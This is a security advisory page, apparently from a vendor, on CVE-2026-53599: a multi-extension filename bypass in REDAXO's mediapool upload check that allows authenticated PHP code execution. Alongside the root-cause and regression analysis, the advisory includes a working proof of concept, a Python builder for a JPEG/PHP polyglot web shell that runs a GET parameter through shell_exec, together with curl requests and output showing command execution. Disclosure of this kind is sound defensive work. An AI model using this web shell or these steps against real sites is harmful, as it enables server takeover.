CVE-2026-53599

CVE-2026-53599 is a high-severity unrestricted upload of dangerous file types vulnerability in redaxo/source (composer), affecting versions >= 5.18.2, < 5.21.1. It is fixed in 5.21.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers

rex_mediapool::isAllowedExtension in redaxo/src/addons/mediapool/lib/mediapool.php accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example shell.php.any.jpg. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named shell.php.any.jpg and, on web servers whose PHP handler matches .php as any segment (mod_mime AddHandler-style, or any FilesMatch regex without an end anchor), request the file from the public media/ directory to execute arbitrary PHP as the web-server user.

The vulnerable check is a regression introduced in commit 9d008697d (PR #6213, Feb 7 2025), which weakened a previously correct str_contains check into a pair of str_ends_with checks. The earlier check, in place since 2018 specifically to defend against double-extension attacks, would have blocked this payload.

The regression has shipped in every release from 5.18.2 through 5.21.0.

Details

Root cause

At the audited commit 6e0de42, isAllowedExtension performs three checks against the blocked-extension list:

// redaxo/src/addons/mediapool/lib/mediapool.php (104–130) @ 6e0de42
public static function isAllowedExtension(string $filename, array $args = []): bool
{
    $fileExt = mb_strtolower(rex_file::extension($filename));
 
    if ('' === $filename || str_contains($fileExt, ' ') || '' === $fileExt) {
        return false;
    }
 
    if (str_starts_with($fileExt, 'php')) {
        return false;
    }
 
    $blockedExtensions = self::getBlockedExtensions();
    foreach ($blockedExtensions as $blockedExtension) {
        // $blockedExtensions extensions are not allowed within filenames, to prevent double extension vulnerabilities:
        // -> some webspaces execute files named file.php.txt as php
        if (str_ends_with($filename, '.' . $blockedExtension)
            || str_ends_with($filename, '.' . $blockedExtension . '.' . $fileExt)
        ) {
            return false;
        }
    }
 
    $allowedExtensions = self::getAllowedExtensions($args);
    return !count($allowedExtensions) || in_array($fileExt, $allowedExtensions);
}

For shell.php.any.jpg:

  1. $fileExt is jpg, so str_starts_with('jpg', 'php') is false.
  2. The loop checks two suffix shapes:
    • str_ends_with('shell.php.any.jpg', '.php'), false.
    • str_ends_with('shell.php.any.jpg', '.php.jpg'), false, because the actual chain is .php.any.jpg.
  3. Default $allowedExtensions is empty (no widget types arg on the main mediapool upload page), so the function returns true.
    The defensive comment on lines 119–120 explicitly names the threat model the maintainers are guarding against, "some webspaces execute files named file.php.txt as php". The current check covers that exact two-segment shape but fails for any chain of length three or more in which a blocked extension is not the final segment.

Regression history

Prior to commit 9d008697d (PR #6213, Feb 7 2025) the check was:

if (str_contains($filename, '.' . $blockedExtension)) {
    return false;
}

str_contains('shell.php.any.jpg', '.php') is true, so the prior check would have correctly rejected this payload. The substring form had a false-positive problem with names like foo.json (which contains the substring .js), and the rewrite removed the false positive but also removed the multi-extension protection. The three regression tests added in that commit (foo.js.txt, js_datei.txt, foo.json) do not include a length-three-or-greater chain with a blocked non-terminal segment, so the security regression was not caught by the test suite.

The same weak check is invoked a second time from rex_mediapool::filename() during the normalization step, so the bypass also passes the renaming guard. rex_string::normalize($mediaName, '_', '.-@') preserves ., -, @ and lowercases the rest, so shell.php.any.jpg survives normalization unchanged.

PoC

Reproduced end-to-end on Apache 2.4.58 + PHP 8.3.6 on Ubuntu 24.04, using the exact validator code from commit 6e0de42 and a JPEG/PHP polyglot served from the same docroot under two different Apache PHP-handler configurations.

Payload

Minimal JPEG/PHP polyglot, 188 bytes, MIME-classified as image/jpeg:

# build_polyglot.py
jpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])
php_payload = b'<?php echo "=== PWNED ===\n"; echo "file: " . __FILE__ . "\n"; echo "cmd output:\n"; $cmd = isset($_GET[chr(120)]) ? $_GET[chr(120)] : "id"; echo shell_exec($cmd); ?>'
jpeg_tail = bytes([0xff,0xd9])
open('shell.php.any.jpg','wb').write(jpeg_header + php_payload + jpeg_tail)
$ file --mime-type shell.php.any.jpg
shell.php.any.jpg: image/jpeg

Validator output

Expected vulnerable deployment flow:

  1. Log in as a backend user with media upload permission.
  2. Upload the payload as shell.php.any.jpg.
  3. REDAXO accepts the final jpg extension and image/jpeg MIME type, and stores media/shell.php.any.jpg.
  4. Request https://victim.example/media/shell.php.any.jpg?x=id.
  5. On Apache/mod_php-style multi-extension handler mappings, PHP code in the uploaded file executes.

Running the exact isAllowedExtension logic from commit 6e0de42 against the default blocked_extensions list from redaxo/src/addons/mediapool/package.yml:

isAllowedExtension("shell.php.any.jpg") = TRUE, UPLOAD ACCEPTED

HTTP execution test

The same file was placed in two Apache vhosts.

Vhost A, current Ubuntu/Debian default libapache2-mod-php8.3 config (<FilesMatch ".+\.ph(?:ar|p|tml)$">, $ anchor):

$ curl -sS -D - -o body "http://127.0.0.1:8081/shell.php.any.jpg?x=id"
HTTP/1.1 200 OK
Content-Type: image/jpeg
$ file body
body: JPEG image data, JFIF standard 1.01

File served as a static JPEG. Not exploitable on this configuration.

Vhost B, non-anchored handler match (<FilesMatch "\.ph(?:ar|p|tml)(\.|$)">, equivalent to AddHandler application/x-httpd-php .php behavior under mod_mime):

$ curl -sS "http://127.0.0.1:8082/shell.php.any.jpg?x=id"
=== PWNED ===
file: /home/riodrwn/sandbox/docroot/shell.php.any.jpg
cmd output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

PHP executes as www-data. RCE confirmed.

Impact

A backend user holding only the media[upload] permission, the permission that the standard editor role carries, gains arbitrary PHP code execution as the web-server user on every REDAXO deployment whose Apache configuration maps PHP via a multi-extension handler.

The application accepts file uploads without adequately restricting the file type or content. Typical impact: remote code execution if the uploaded file can be served and executed on the server.

CVE-2026-53599 has a CVSS score of 7.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.21.1); upgrading removes the vulnerable code path.

Affected versions

redaxo/source (>= 5.18.2, < 5.21.1)

Security releases

redaxo/source → 5.21.1 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade redaxo/source to 5.21.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-53599? CVE-2026-53599 is a high-severity unrestricted upload of dangerous file types vulnerability in redaxo/source (composer), affecting versions >= 5.18.2, < 5.21.1. It is fixed in 5.21.1. The application accepts file uploads without adequately restricting the file type or content.
  2. How severe is CVE-2026-53599? CVE-2026-53599 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of redaxo/source are affected by CVE-2026-53599? redaxo/source (composer) versions >= 5.18.2, < 5.21.1 is affected.
  4. Is there a fix for CVE-2026-53599? Yes. CVE-2026-53599 is fixed in 5.21.1. Upgrade to this version or later.
  5. Is CVE-2026-53599 exploitable, and should I be worried? Whether CVE-2026-53599 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-53599 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-53599? Upgrade redaxo/source to 5.21.1 or later.

Other vulnerabilities in redaxo/source

Stop the waste.
Protect your environment with Kodem.